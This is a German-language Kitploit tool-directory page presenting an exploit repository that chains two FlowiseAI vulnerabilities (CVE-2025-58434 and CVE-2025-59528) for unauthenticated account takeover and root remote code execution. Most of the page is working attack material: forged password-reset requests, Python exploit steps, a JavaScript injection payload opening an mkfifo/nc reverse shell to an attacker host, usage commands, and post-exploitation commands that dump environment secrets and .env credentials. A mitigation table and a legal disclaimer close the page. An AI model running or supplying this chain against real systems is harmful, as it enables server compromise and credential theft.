Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
FlowiseAI-Critical-KillChain — Kritische nicht authentifizierte Angriffskette, die zu vollständigem RCE in FlowiseAI führt (CVE-2025-58434 + CVE-2025-59528) | Kitploit
Tools/GitHubGitHub/cveteam/flowiseai-critical-killchain
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsAuthentifizierungLernen & BildungRed TeamingPayload-Entwicklung

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHub
cveteam/flowiseai-critical-killchain

FlowiseAI-Critical-KillChain

Kritische nicht authentifizierte Angriffskette, die zu vollständigem RCE in FlowiseAI führt (CVE-2025-58434 + CVE-2025-59528)

Repository anzeigen
1vor 4 MonatenNoch nicht geprüft

FlowiseAI — Kritische Kill Chain

Unauthentifizierte Account-Übernahme, kombiniert mit Remote-Code-Ausführung gegen FlowiseAI <= 3.0.5.
Vollständige Container-Kompromittierung in unter 5 Sekunden, keine Anmeldeinformationen erforderlich.


Angriffskette

FlowiseAI Angriffskette Diagramm
Links: FlowiseAI-Login-Seite — Rechts: Root-Shell via CVE-2025-59528 · uid=0(root)


Inhaltsverzeichnis

  • So funktioniert es — Überblick
  • Schwachstellendetails
    • CVE-2025-58434 — Unauthentifizierte Offenlegung von Passwort-Reset-Tokens
    • CVE-2025-59528 — Remote-Code-Ausführung über CustomMCP-Node
  • Warum diese Angriffskette tödlich ist
  • Exploit-Code-Durchlauf
  • Verwendung
  • Post-Exploitation
  • Abhilfemaßnahmen
  • Referenzen

So funktioniert es — Überblick

Dieser Exploit verknüpft zwei unabhängige kritische Schwachstellen zu einem einzigen vollautomatisierten Angriff. Keine der Schwachstellen allein garantiert eine vollständige Kompromittierung – aber zusammen bilden sie eine vollständige Angriffskette von Null-Anmeldeinformationen zu einer Root-Shell innerhalb eines Docker-Containers.

root@kitploit:~
[Keine Anmeldeinformationen]
      │
      ▼
① Missbrauch des 'Passwort vergessen'-Endpunkts (keine Authentifizierung erforderlich)
      │  → Server antwortet mit dem Reset-Token des Opfers im Klartext
      ▼
② Token an den Passwort-Reset-Endpunkt senden
      │  → Angreifer kontrolliert das Admin-Passwort
      ▼
③ Anmelden + Bearer-API-Schlüssel abrufen
      │  → Vollständige authentifizierte Sitzung hergestellt
      ▼
④ JavaScript-Payload über customMCP-Node senden
      │  → Server wertet sie über Function()-Konstruktor aus
      ▼
[Root-Shell im Docker-Container]

Was es interaktionsfrei macht: Zu keinem Zeitpunkt erhält das Opfer eine E-Mail, sieht einen Anmeldehinweis oder löst ein sichtbares Ereignis aus. Der Angriff erfolgt vollständig serverseitig.


Schwachstellendetails

CVE-2025-58434 — Unauthentifizierte Offenlegung von Passwort-Reset-Tokens

CVSS 3.1: 9.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Betroffen: FlowiseAI <= 3.0.5 (Cloud + selbst gehostet)
Advisory: GHSA-wgpv-6j63-x5ph

Grundursache

FlowiseAI hat ein Konzept von „internen“ Anfragen – API-Aufrufe zwischen eigenen Diensten –, die durch den HTTP-Header x-request-from: internal identifiziert werden. Der Endpunkt /api/v1/account/forgot-password verwendet diesen Header, um die Authentifizierung vollständig zu überspringen und eine andere, ausführlichere Antwort zurückzugeben, als dies bei externen Aufrufern der Fall wäre.

Das Problem: dieser Header wird in keiner Weise validiert oder eingeschränkt. Jeder Angreifer im Internet kann ihn senden. Wenn dies geschieht, löst die API keine E-Mail zum Zurücksetzen des Passworts aus, sondern gibt stattdessen den vollständigen Benutzerdatensatz zurück – einschließlich eines aktiven tempToken, das sofort zum Festlegen eines neuen Passworts verwendet werden kann.

Warum es funktioniert

Normalerweise sieht ein Passwort-Reset-Ablauf wie folgt aus:

root@kitploit:~
Benutzer fordert Reset an → Server generiert Token → Token per E-MAIL gesendet → Benutzer klickt auf Link → Passwort geändert

Hier überspringt der Server den E-Mail-Schritt vollständig und legt das Token direkt in den HTTP-Antwortkörper. Der Angreifer fängt es ab und geht direkt zum Reset-Schritt über – kein E-Mail-Zugriff erforderlich.

Anfrage

root@kitploit:~
POST /api/v1/account/forgot-password HTTP/1.1
Host: <target>
Content-Type: application/json
x-request-from: internal

{"user": {"email": "[email protected]"}}

Antwort 201 — vollständiger Benutzerdatensatz offengelegt

root@kitploit:~
{
  "user": {
    "email": "[email protected]",
    "credential": "$2a$05$hVtF9EKL0lI1qqrvwTD3QeFMzVlvtk8fAKX...",
    "tempToken": "N5oXQ9C99h0zMNNGWLvoE4buMvcdXN32...",
    "tokenExpiry": "2026-04-11T21:37:03.063Z",
    "status": "active"
  }
}

Das tempToken wird dann direkt an den Reset-Endpunkt gesendet – keine E-Mail-Interaktion, kein CAPTCHA, keine Ratenbegrenzung.


CVE-2025-59528 — Remote-Code-Ausführung über CustomMCP-Node

CVSS 3.1: 10.0 Critical — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Betroffen: FlowiseAI <= 3.0.5
Advisory: GHSA-3gcm-f6qx-ff7p

Grundursache

FlowiseAI erlaubt Benutzern, benutzerdefinierte MCP (Model Context Protocol)-Nodes mit einer als JSON-String bereitgestellten Serverkonfiguration zu definieren. Intern muss die Plattform diese Konfiguration parsen – und das geschieht mit dem Function()-Constructor von JavaScript, der funktional äquivalent zu eval() ist.

Der Konfigurationsstring erreicht die Senke vollständig unbereinigt:

root@kitploit:~
// packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts — line 262
const result = Function('return ' + mcpServerConfig)();
//                       ↑ unsanitized user input — arbitrary JS execution

Warum Function() genauso gefährlich ist wie eval()

Function('return ' + code)() tut Folgendes:

  1. Erstellt eine neue JavaScript-Funktion mit code als Körper
  2. Ruft sie sofort auf
  3. Gibt das Ergebnis zurück

Dies gibt dem Angreifer einen vollständigen JavaScript-Ausführungskontext mit Zugriff auf process, require, child_process und die gesamte Node.js-Laufzeit – keine Sandbox.

Taint-Fluss – von HTTP zur Shell

root@kitploit:~
HTTP POST /api/v1/node-load-method/customMCP
  └─ body.inputs.mcpServerConfig                  ← vom Angreifer kontrollierter String
       └─ substituteVariablesInString()            ← keine Filterung, wird durchgereicht
            └─ convertToValidJSONString()          ← keine Filterung, wird durchgereicht
                 └─ Function('return ' + input)()  ← beliebiger Code wird hier ausgeführt

Injection-Payload

root@kitploit:~
({x:(function(){
  const cp = process.mainModule.require("child_process");
  cp.exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f");
  return 1;
})()})

Warum mkfifo und nicht /dev/tcp?
Der Container läuft mit /bin/sh, nicht /bin/bash. /dev/tcp ist eine Bash-exklusive Funktion – sie existiert in standardmäßigen POSIX-Shells nicht. mkfifo erstellt eine Named Pipe, die in jeder POSIX-konformen Shell funktioniert, was die Reverse-Shell über Containerumgebungen hinweg portabel macht.


Warum diese Angriffskette tödlich ist


Exploit-Code-Durchlauf

Der Exploit ist in vier aufeinanderfolgende Schritte strukturiert, die jeweils direkt einer Phase der Angriffskette entsprechen.

Schritt 1 — Token-Ernte (CVE-2025-58434)

root@kitploit:~
r1 = session.post(
    f"{TARGET}/api/v1/account/forgot-password",
    headers={"x-request-from": "internal"},
    json={"user": {"email": EMAIL}}
)
temp_token = r1.json()["user"]["tempToken"]

Was passiert: Der Server glaubt, dass dies ein interner Service-to-Service-Aufruf ist, aufgrund des x-request-from: internal-Headers. Er überspringt den normalen E-Mail-Versandweg und gibt den vollständigen Benutzerdatensatz – einschließlich eines aktiven Passwort-Reset-Tokens – direkt im HTTP-201-Antwortkörper zurück.

Warum es funktioniert: Die Header-Prüfung erfolgt rein stringbasiert ohne kryptografische Verifikation. Jeder Aufrufer kann ihn setzen. Das Backend validiert nicht die Herkunft der Anfrage.


Schritt 2 — Account-Übernahme

root@kitploit:~
session.post(
    f"{TARGET}/api/v1/account/reset-password",
    headers={"x-request-from": "internal"},
    json={"user": {"email": EMAIL, "tempToken": temp_token, "password": NEW_PASS}}
)

Was passiert: Das gestohlene tempToken wird zusammen mit einem neuen, vom Angreifer gewählten Passwort übermittelt. Der Server validiert das Token (das echt und aktiv ist), bestätigt die E-Mail-Übereinstimmung und aktualisiert den Berechtigungshash – keine E-Mail-Bestätigung, keine sekundäre Prüfung.

Warum es funktioniert: Die Token-Validierung prüft nur, ob das Token existiert und nicht abgelaufen ist. Sie überprüft nicht, ob der Aufrufer, der das Token generiert hat, mit dem Aufrufer identisch ist, der den Reset einreicht. Die Eigentümerschaft wird niemals verifiziert.


Schritt 3 — Sitzungs- und API-Schlüssel-Extraktion

root@kitploit:~
# Login with the newly set password
session.post(f"{TARGET}/api/v1/auth/login",
    json={"email": EMAIL, "password": NEW_PASS})

# Fetch the Bearer API key needed for the RCE endpoint
r4 = session.get(f"{TARGET}/api/v1/apikey")
api_key = r4.json()[0]["apiKey"]

Was passiert: Eine normale Anmeldung mit dem neuen Passwort des Angreifers stellt eine vollständige Admin-Sitzung (cookie-basiert) her. Die Sitzung wird dann verwendet, um den Standard-API-Schlüssel der Plattform abzurufen, der erforderlich ist, um Anfragen an den in Schritt 4 verwendeten node-load-method-Endpunkt zu authentifizieren.

Warum es funktioniert: An diesem Punkt IST der Angreifer der Admin – er besitzt die Anmeldeinformationen. Die Sitzung und der API-Schlüssel werden legitimerweise vom Server ausgestellt.


Schritt 4 — Remote-Code-Ausführung (CVE-2025-59528)

root@kitploit:~
js_payload = (
    '({x:(function(){const cp = process.mainModule.require("child_process"); '
    f'cp.exec(`{revshell}`); return 1;}})()'
)
session.post(
    f"{TARGET}/api/v1/node-load-method/customMCP",
    headers={"Authorization": f"Bearer {api_key}"},
    json={"loadMethod": "listActions", "inputs": {"mcpServerConfig": js_payload}}
)

Was passiert: Die Payload ist eine selbstaufrufende JavaScript-Funktion (IIFE), getarnt als JSON-kompatibles Objekt. Wenn convertToValidJSONString() sie verarbeitet, landet der Wert innerhalb von Function('return ' + input)() – was sie als Live-JavaScript mit vollem Node.js-Laufzeitzugriff ausführt. child_process.exec() feuert den Reverse-Shell-Befehl ab und stellt eine Verbindung zum Listener des Angreifers her.

Warum der IIFE-Wrapper? Das Muster Function('return ' + x) erwartet, dass der Ausdruck rückgabefähig ist. Das Einwickeln des schädlichen Codes in ({x: (function(){ ... })()}) macht den gesamten Ausdruck zu gültigem JavaScript, das zu einem Objekt ausgewertet wird – was den Parser zufriedenstellt, während die Payload als Nebeneffekt ausgeführt wird.

Warum nohup + disown? Die HTTP-Anfrage hat ein Timeout. Ohne Trennen des Prozesses würde die Shell sterben, wenn die Anfrage ein Timeout erleidet. nohup + disown löst die Reverse-Shell vom Node.js-Prozess und hält sie unabhängig am Leben.


Verwendung

root@kitploit:~
# 1. Start your listener first
nc -lvnp 4444

# 2. Run the full kill chain
python3 exploit.py -ip <TARGET_IP> -lhost <YOUR_IP> -lport 4444

# 3. If the admin password was already reset in a prior attempt
python3 exploit.py -ip <TARGET_IP> -lhost <YOUR_IP> -lport 4444 --skipreset

Argumente

Anforderungen

root@kitploit:~
pip install requests

Post-Exploitation

Sobald die Shell fällt, läuft der Container typischerweise als Root mit Zugriff auf die gesamte FlowiseAI-Anwendungsumgebung:

root@kitploit:~
# Secrets and credentials
env                       # API keys, DB URIs, service credentials in environment vars
cat .env                  # FlowiseAI config file — database passwords, JWT secrets

# Application internals
ls /app/packages/         # Monorepo structure — source code, configs, node_modules
cat /app/packages/server/.env

# Container context
cat /proc/1/cmdline       # What process is PID 1 — confirms container environment
hostname                  # Container ID
cat /etc/hosts            # Internal network map — other services reachable

# Lateral movement candidates
env | grep -i "db\|mongo\|postgres\|redis\|key\|secret\|token\|pass"

Abhilfemaßnahmen


Referenzen

  • FlowiseAI Security Advisory — CVE-2025-58434
  • FlowiseAI Security Advisory — CVE-2025-59528
  • NVD — CVE-2025-58434
  • NVD — CVE-2025-59528
  • OWASP: Testen auf schwache Passwortänderungs- oder Reset-Funktionalitäten
  • CWE-94: Unzureichende Kontrolle der Codegenerierung

Haftungsausschluss

Dieses Repository und aller zugehöriger Code werden ausschließlich zu Bildungs- und autorisierten Sicherheitsforschungszwecken veröffentlicht.

Beide Schwachstellen sind öffentlich offengelegt und ab FlowiseAI 3.0.6 behoben. Das Testen gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zur Bewertung haben, ist nach geltendem Recht illegal – einschließlich, aber nicht beschränkt auf den Computer Fraud and Abuse Act (CFAA), den Computer Misuse Act und die EU-NIS2-Richtlinie.

Die Autoren übernehmen keine Haftung für Schäden, die aus dem Missbrauch dieses Materials entstehen.


0H4K3D · CVE Team

Tool herunterladen
EigenschaftDetails
Keine Anmeldeinformationen erforderlichDer Angreifer beginnt mit nichts außer einer Ziel-IP
Keine OpferinteraktionKein Phishing, kein Klick, kein Social Engineering
Keine RatenbegrenzungDer Reset-Endpunkt hat keine Drosselung – bei Bedarf brute-force-bar
Kein CAPTCHADer Reset-Ablauf hat keine menschliche Verifikation
Keine E-Mail-BestätigungPasswortänderung ist sofort, still, unwiderruflich
Volle Node.js-Laufzeit bei RCEchild_process, Dateisystem, Netzwerk – keine Sandbox
Läuft als Root in DockerContainer wird typischerweise als Root gestartet, voller Dateisystemzugriff
Betrifft Cloud + selbst gehostetJede Bereitstellung von <= 3.0.5 ist verwundbar
FlagBeschreibungErforderlich
-ipZiel-IP-Adresse✅
-lhostIhre IP für den Reverse-Shell-Callback✅
-lportIhr Listening-Port✅
--skipresetCVE-2025-58434 überspringen (Phasen 1 & 2) — verwenden, wenn Konto bereits kompromittiert❌
MaßnahmePriorität
Upgrade auf FlowiseAI ≥ 3.0.6🔴 Unverzüglich
Blockieren von x-request-from: internal am Reverse-Proxy – es sollte niemals aus dem Internet kommen🔴 Unverzüglich
Einschränken von /api/v1/account/* auf authentifizierte Sitzungen🔴 Unverzüglich
Bereinigen von mcpServerConfig – Benutzereingaben niemals an Function() oder eval() übergeben🔴 Unverzüglich
Hinzufügen von Ratenbegrenzung und CAPTCHA zu allen Passwort-Reset-Endpunkten🔴 Unverzüglich
Isolieren der FlowiseAI-Instanz vom Internet, falls keine öffentliche Exposition erforderlich ist🟠 Hoch
Ausführen des Containers als Nicht-Root-Benutzer🟠 Hoch
Aktivieren der Anomalieerkennung für Passwort-Reset- und MCP-Endpunkte🟡 Mittel
Prüfen aller Endpunkte, die x-request-from akzeptieren, und sicherstellen, dass sie nicht extern aufgerufen werden können🟡 Mittel